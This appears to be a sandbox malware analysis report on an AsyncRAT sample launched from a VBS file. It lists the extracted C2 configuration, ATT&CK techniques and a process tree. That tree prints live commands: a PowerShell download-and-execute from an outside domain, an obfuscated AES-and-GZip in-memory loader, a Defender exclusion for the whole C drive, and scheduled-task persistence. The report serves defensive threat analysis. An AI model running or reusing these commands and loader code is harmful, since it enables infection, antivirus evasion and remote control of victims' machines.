asyncrat | 18953637935c5dd79eeb9783f6d96fef1746fdd9cb5d3b449ef8f9a16af8758f

Analysis

max time kernel
100s
max time network
140s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
09-12-2024 17:14

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General

Target

6890_output.vbs
Size

46KB
MD5

653bf44f38fbe35cb4a51a366cce85e1
SHA1

5f08110e8b8174d62eb8beb3d8eedf507dc6471c
SHA256

0442d85e2af50c1f41e7cbf46850a204cf7cfd49eb5f0244e8b60cc28c313c24
SHA512

ed5c78d769eed4667ce8cceb14af498fcf41c36db88e47611f2157708513955a188a9aa60404cb99f632ca2b10596dfad60df3a9320083b92da14529ebdded19
SSDEEP

768:msJNohJ2GoBFClzkP/TFYgZutKI/OLixhGpOQU40GmaXQq9+RfomiJrW7PuA9:mTWGsClzkmtKIxGp1UOmWYfomiKH

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

WzRdrlEJS302

Attributes

delay
3
install
true
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/memory/560-207-0x00000000054A0000-0x00000000054B2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4608	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2444	powershell.exe
416	powershell.exe
880	powershell.exe
3144	powershell.exe
2668	powershell.exe
4608	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2319007114-3335580451-2147236418-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1180	dwmm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dwmm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1536	timeout.exe
4724	timeout.exe
4396	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3700	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
964	schtasks.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
4608	powershell.exe
4608	powershell.exe
416	powershell.exe
416	powershell.exe
4620	powershell.exe
4620	powershell.exe
880	powershell.exe
880	powershell.exe
4240	powershell.exe
4240	powershell.exe
3144	powershell.exe
3144	powershell.exe
560	powershell.exe
560	powershell.exe
2668	powershell.exe
2668	powershell.exe
3980	powershell.exe
3980	powershell.exe
2444	powershell.exe
2444	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
1180	dwmm.exe
1180	dwmm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeIncreaseQuotaPrivilege	416	powershell.exe
Token: SeSecurityPrivilege	416	powershell.exe
Token: SeTakeOwnershipPrivilege	416	powershell.exe
Token: SeLoadDriverPrivilege	416	powershell.exe
Token: SeSystemProfilePrivilege	416	powershell.exe
Token: SeSystemtimePrivilege	416	powershell.exe
Token: SeProfSingleProcessPrivilege	416	powershell.exe
Token: SeIncBasePriorityPrivilege	416	powershell.exe
Token: SeCreatePagefilePrivilege	416	powershell.exe
Token: SeBackupPrivilege	416	powershell.exe
Token: SeRestorePrivilege	416	powershell.exe
Token: SeShutdownPrivilege	416	powershell.exe
Token: SeDebugPrivilege	416	powershell.exe
Token: SeSystemEnvironmentPrivilege	416	powershell.exe
Token: SeRemoteShutdownPrivilege	416	powershell.exe
Token: SeUndockPrivilege	416	powershell.exe
Token: SeManageVolumePrivilege	416	powershell.exe
Token: 33	416	powershell.exe
Token: 34	416	powershell.exe
Token: 35	416	powershell.exe
Token: 36	416	powershell.exe
Token: SeDebugPrivilege	3700	taskkill.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	powershell.exe
Token: SeSecurityPrivilege	4240	powershell.exe
Token: SeTakeOwnershipPrivilege	4240	powershell.exe
Token: SeLoadDriverPrivilege	4240	powershell.exe
Token: SeSystemProfilePrivilege	4240	powershell.exe
Token: SeSystemtimePrivilege	4240	powershell.exe
Token: SeProfSingleProcessPrivilege	4240	powershell.exe
Token: SeIncBasePriorityPrivilege	4240	powershell.exe
Token: SeCreatePagefilePrivilege	4240	powershell.exe
Token: SeBackupPrivilege	4240	powershell.exe
Token: SeRestorePrivilege	4240	powershell.exe
Token: SeShutdownPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeSystemEnvironmentPrivilege	4240	powershell.exe
Token: SeRemoteShutdownPrivilege	4240	powershell.exe
Token: SeUndockPrivilege	4240	powershell.exe
Token: SeManageVolumePrivilege	4240	powershell.exe
Token: 33	4240	powershell.exe
Token: 34	4240	powershell.exe
Token: 35	4240	powershell.exe
Token: 36	4240	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	3144	powershell.exe
Token: SeSecurityPrivilege	3144	powershell.exe
Token: SeTakeOwnershipPrivilege	3144	powershell.exe
Token: SeLoadDriverPrivilege	3144	powershell.exe
Token: SeSystemProfilePrivilege	3144	powershell.exe
Token: SeSystemtimePrivilege	3144	powershell.exe
Token: SeProfSingleProcessPrivilege	3144	powershell.exe
Token: SeIncBasePriorityPrivilege	3144	powershell.exe
Token: SeCreatePagefilePrivilege	3144	powershell.exe
Token: SeBackupPrivilege	3144	powershell.exe
Token: SeRestorePrivilege	3144	powershell.exe
Token: SeShutdownPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeSystemEnvironmentPrivilege	3144	powershell.exe
Token: SeRemoteShutdownPrivilege	3144	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2152	3044	WScript.exe	80
PID 3044 wrote to memory of 2152	3044	WScript.exe	80
PID 2152 wrote to memory of 4608	2152	cmd.exe	82
PID 2152 wrote to memory of 4608	2152	cmd.exe	82
PID 4608 wrote to memory of 880	4608	powershell.exe	84
PID 4608 wrote to memory of 880	4608	powershell.exe	84
PID 880 wrote to memory of 3732	880	csc.exe	85
PID 880 wrote to memory of 3732	880	csc.exe	85
PID 4608 wrote to memory of 1984	4608	powershell.exe	86
PID 4608 wrote to memory of 1984	4608	powershell.exe	86
PID 3044 wrote to memory of 2336	3044	WScript.exe	100
PID 3044 wrote to memory of 2336	3044	WScript.exe	100
PID 2336 wrote to memory of 1480	2336	cmd.exe	102
PID 2336 wrote to memory of 1480	2336	cmd.exe	102
PID 1480 wrote to memory of 2256	1480	cmd.exe	104
PID 1480 wrote to memory of 2256	1480	cmd.exe	104
PID 1480 wrote to memory of 4620	1480	cmd.exe	105
PID 1480 wrote to memory of 4620	1480	cmd.exe	105
PID 1480 wrote to memory of 4620	1480	cmd.exe	105
PID 4620 wrote to memory of 880	4620	powershell.exe	106
PID 4620 wrote to memory of 880	4620	powershell.exe	106
PID 4620 wrote to memory of 880	4620	powershell.exe	106
PID 4620 wrote to memory of 4240	4620	powershell.exe	107
PID 4620 wrote to memory of 4240	4620	powershell.exe	107
PID 4620 wrote to memory of 4240	4620	powershell.exe	107
PID 4620 wrote to memory of 3144	4620	powershell.exe	110
PID 4620 wrote to memory of 3144	4620	powershell.exe	110
PID 4620 wrote to memory of 3144	4620	powershell.exe	110
PID 4620 wrote to memory of 3372	4620	powershell.exe	112
PID 4620 wrote to memory of 3372	4620	powershell.exe	112
PID 4620 wrote to memory of 3372	4620	powershell.exe	112
PID 3372 wrote to memory of 3972	3372	cmd.exe	114
PID 3372 wrote to memory of 3972	3372	cmd.exe	114
PID 3372 wrote to memory of 3972	3372	cmd.exe	114
PID 3972 wrote to memory of 4492	3972	cmd.exe	116
PID 3972 wrote to memory of 4492	3972	cmd.exe	116
PID 3972 wrote to memory of 4492	3972	cmd.exe	116
PID 3972 wrote to memory of 560	3972	cmd.exe	117
PID 3972 wrote to memory of 560	3972	cmd.exe	117
PID 3972 wrote to memory of 560	3972	cmd.exe	117
PID 560 wrote to memory of 2668	560	powershell.exe	118
PID 560 wrote to memory of 2668	560	powershell.exe	118
PID 560 wrote to memory of 2668	560	powershell.exe	118
PID 1480 wrote to memory of 1536	1480	cmd.exe	119
PID 1480 wrote to memory of 1536	1480	cmd.exe	119
PID 560 wrote to memory of 3980	560	powershell.exe	120
PID 560 wrote to memory of 3980	560	powershell.exe	120
PID 560 wrote to memory of 3980	560	powershell.exe	120
PID 560 wrote to memory of 2444	560	powershell.exe	122
PID 560 wrote to memory of 2444	560	powershell.exe	122
PID 560 wrote to memory of 2444	560	powershell.exe	122
PID 560 wrote to memory of 4084	560	powershell.exe	124
PID 560 wrote to memory of 4084	560	powershell.exe	124
PID 560 wrote to memory of 4084	560	powershell.exe	124
PID 560 wrote to memory of 2452	560	powershell.exe	125
PID 560 wrote to memory of 2452	560	powershell.exe	125
PID 560 wrote to memory of 2452	560	powershell.exe	125
PID 2452 wrote to memory of 4724	2452	cmd.exe	128
PID 2452 wrote to memory of 4724	2452	cmd.exe	128
PID 2452 wrote to memory of 4724	2452	cmd.exe	128
PID 4084 wrote to memory of 964	4084	cmd.exe	129
PID 4084 wrote to memory of 964	4084	cmd.exe	129
PID 4084 wrote to memory of 964	4084	cmd.exe	129
PID 3972 wrote to memory of 4396	3972	cmd.exe	130

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6890_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3vjxiheh\3vjxiheh.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:880
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74D2.tmp" "c:\Users\Admin\AppData\Local\Temp\3vjxiheh\CSCF160F39F16B4B76A79DAD0DA7FAA71.TMP"
        5⤵
        
        PID:3732
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\iggnhd45.inf
      4⤵
      PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\c.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c.bat';$HtXR='ChLohBanLohBgLohBeExLohBteLohBnsLohBiLohBoLohBnLohB'.Replace('LohB', ''),'EnakFatrakFayPakFaoinakFatakFa'.Replace('akFa', ''),'DZRsYeZRsYcZRsYomZRsYpZRsYreZRsYsZRsYsZRsY'.Replace('ZRsY', ''),'CoCMmrpCMmryCMmrTCMmroCMmr'.Replace('CMmr', ''),'GefhddtCfhddurfhddrenfhddtfhddPfhddrocfhddefhddssfhdd'.Replace('fhdd', ''),'EleBsgfmeBsgfntABsgftBsgf'.Replace('Bsgf', ''),'FrTYXjomBTYXjaseTYXj64TYXjStrTYXjingTYXj'.Replace('TYXj', ''),'ReCDPWaCDPWdCDPWLiCDPWnesCDPW'.Replace('CDPW', ''),'TraKWcknKWcksfoKWckrKWckmFKWckinKWckaKWcklBKWckloKWckcKWckkKWck'.Replace('KWck', ''),'MjblMajblMijblMnjblMMjblMojblMdjblMuljblMejblM'.Replace('jblM', ''),'SnrJTplinrJTtnrJT'.Replace('nrJT', ''),'CrOEfHeaOEfHtOEfHeDeOEfHcryOEfHptoOEfHrOEfH'.Replace('OEfH', ''),'LBxjCoBxjCadBxjC'.Replace('BxjC', ''),'IjtXpnvjtXpojtXpkjtXpejtXp'.Replace('jtXp', '');powershell -w hidden;function wyHTI($FyZFc){$vRVbM=[System.Security.Cryptography.Aes]::Create();$vRVbM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vRVbM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vRVbM.Key=[System.Convert]::($HtXR[6])('3eo8NN5tyKFa5visFn25QtJ0+4AjjFD7mC5TBO0PoNc=');$vRVbM.IV=[System.Convert]::($HtXR[6])('zdwkfoYoSPrzLDtsSJb42A==');$LDSfU=$vRVbM.($HtXR[11])();$ZfRpI=$LDSfU.($HtXR[8])($FyZFc,0,$FyZFc.Length);$LDSfU.Dispose();$vRVbM.Dispose();$ZfRpI;}function XfTte($FyZFc){$eHJHJ=New-Object System.IO.MemoryStream(,$FyZFc);$RoEKy=New-Object System.IO.MemoryStream;$bZzEN=New-Object System.IO.Compression.GZipStream($eHJHJ,[IO.Compression.CompressionMode]::($HtXR[2]));$bZzEN.($HtXR[3])($RoEKy);$bZzEN.Dispose();$eHJHJ.Dispose();$RoEKy.Dispose();$RoEKy.ToArray();}$FWOcx=[System.IO.File]::($HtXR[7])([Console]::Title);$ALHOl=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 5).Substring(2))));$wRWWL=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 6).Substring(2))));[System.Reflection.Assembly]::($HtXR[12])([byte[]]$wRWWL).($HtXR[1]).($HtXR[13])($null,$null);[System.Reflection.Assembly]::($HtXR[12])([byte[]]$ALHOl).($HtXR[1]).($HtXR[13])($null,$null); "
      4⤵
      PID:2256
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4620
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:880
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\c')
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4240
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 81503' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network81503Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3144
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network81503Man.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3372
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network81503Man.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3972
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network81503Man.cmd';$HtXR='ChLohBanLohBgLohBeExLohBteLohBnsLohBiLohBoLohBnLohB'.Replace('LohB', ''),'EnakFatrakFayPakFaoinakFatakFa'.Replace('akFa', ''),'DZRsYeZRsYcZRsYomZRsYpZRsYreZRsYsZRsYsZRsY'.Replace('ZRsY', ''),'CoCMmrpCMmryCMmrTCMmroCMmr'.Replace('CMmr', ''),'GefhddtCfhddurfhddrenfhddtfhddPfhddrocfhddefhddssfhdd'.Replace('fhdd', ''),'EleBsgfmeBsgfntABsgftBsgf'.Replace('Bsgf', ''),'FrTYXjomBTYXjaseTYXj64TYXjStrTYXjingTYXj'.Replace('TYXj', ''),'ReCDPWaCDPWdCDPWLiCDPWnesCDPW'.Replace('CDPW', ''),'TraKWcknKWcksfoKWckrKWckmFKWckinKWckaKWcklBKWckloKWckcKWckkKWck'.Replace('KWck', ''),'MjblMajblMijblMnjblMMjblMojblMdjblMuljblMejblM'.Replace('jblM', ''),'SnrJTplinrJTtnrJT'.Replace('nrJT', ''),'CrOEfHeaOEfHtOEfHeDeOEfHcryOEfHptoOEfHrOEfH'.Replace('OEfH', ''),'LBxjCoBxjCadBxjC'.Replace('BxjC', ''),'IjtXpnvjtXpojtXpkjtXpejtXp'.Replace('jtXp', '');powershell -w hidden;function wyHTI($FyZFc){$vRVbM=[System.Security.Cryptography.Aes]::Create();$vRVbM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vRVbM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vRVbM.Key=[System.Convert]::($HtXR[6])('3eo8NN5tyKFa5visFn25QtJ0+4AjjFD7mC5TBO0PoNc=');$vRVbM.IV=[System.Convert]::($HtXR[6])('zdwkfoYoSPrzLDtsSJb42A==');$LDSfU=$vRVbM.($HtXR[11])();$ZfRpI=$LDSfU.($HtXR[8])($FyZFc,0,$FyZFc.Length);$LDSfU.Dispose();$vRVbM.Dispose();$ZfRpI;}function XfTte($FyZFc){$eHJHJ=New-Object System.IO.MemoryStream(,$FyZFc);$RoEKy=New-Object System.IO.MemoryStream;$bZzEN=New-Object System.IO.Compression.GZipStream($eHJHJ,[IO.Compression.CompressionMode]::($HtXR[2]));$bZzEN.($HtXR[3])($RoEKy);$bZzEN.Dispose();$eHJHJ.Dispose();$RoEKy.Dispose();$RoEKy.ToArray();}$FWOcx=[System.IO.File]::($HtXR[7])([Console]::Title);$ALHOl=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 5).Substring(2))));$wRWWL=XfTte (wyHTI ([Convert]::($HtXR[6])([System.Linq.Enumerable]::($HtXR[5])($FWOcx, 6).Substring(2))));[System.Reflection.Assembly]::($HtXR[12])([byte[]]$wRWWL).($HtXR[1]).($HtXR[13])($null,$null);[System.Reflection.Assembly]::($HtXR[12])([byte[]]$ALHOl).($HtXR[1]).($HtXR[13])($null,$null); "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:560
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2668
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network81503Man')
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 81503' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network81503Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2444
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dwmm" /tr '"C:\Users\Admin\AppData\Roaming\dwmm.exe"' & exit
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4084
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "dwmm" /tr '"C:\Users\Admin\AppData\Roaming\dwmm.exe"'
        9⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:964
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAAC2.tmp.bat""
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2452
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        9⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4724
        
        C:\Users\Admin\AppData\Roaming\dwmm.exe
        
        "C:\Users\Admin\AppData\Roaming\dwmm.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1180
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /nobreak /t 1
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4396
  - - C:\Windows\system32\timeout.exe
      timeout /nobreak /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:416

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
25b2ce30904bdc3e8f50d98698989919

SHA1
b812ec3da4039cc86757a484f69750a4dfcb4f15

SHA256
d42a7f0ca85e0ff0d114cb37367b445224a1088094d4161e4defb2508c85204b

SHA512
3d5062e33ace16d200cd9e0d2f2456097bea26029812f483ad2845796f8664e389a346d89d4f88cc62b0acf955e636200a9defd14526066f0e0aa10ed9a4ad9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
de9cd2c2ecf47402004f661c70b40292

SHA1
202aac622d08570d28420112a5fb7394bbf30933

SHA256
0d42d2e71b5c0ba1f772f47228a0e072fcb7e88802bbfd57374036f4cf82d9f3

SHA512
018c0751d0657544fe6b67de4f748162f3294c25fe280b2232dff87ddd81a95392244df5c8f01463cfa1f4db8d52ebcb98b1cfb80d68de8aa139b23af0132b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
83b0672f5c5bd3ea1d2bdb6ce3364035

SHA1
b38ef46a9a8f62bf0c54f24439c3c9125be76613

SHA256
44c140c3e431f7df8276b026a5b5005cfb26dcaa27ff0b358be53b38502a4101

SHA512
3b3d87bdfc4cbe6cc9559a20dc353fe88300c2a556ccc798af3c7f6e4fb58fc729cbb8a725a0fc9340e443b3d85be765ad3565da1cdaecaf67988444a726f656

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
fc540745a66b3f833f4ebbedf98f4caf

SHA1
6a76c8cf452194e053ea69283c31123ed5f2a1ad

SHA256
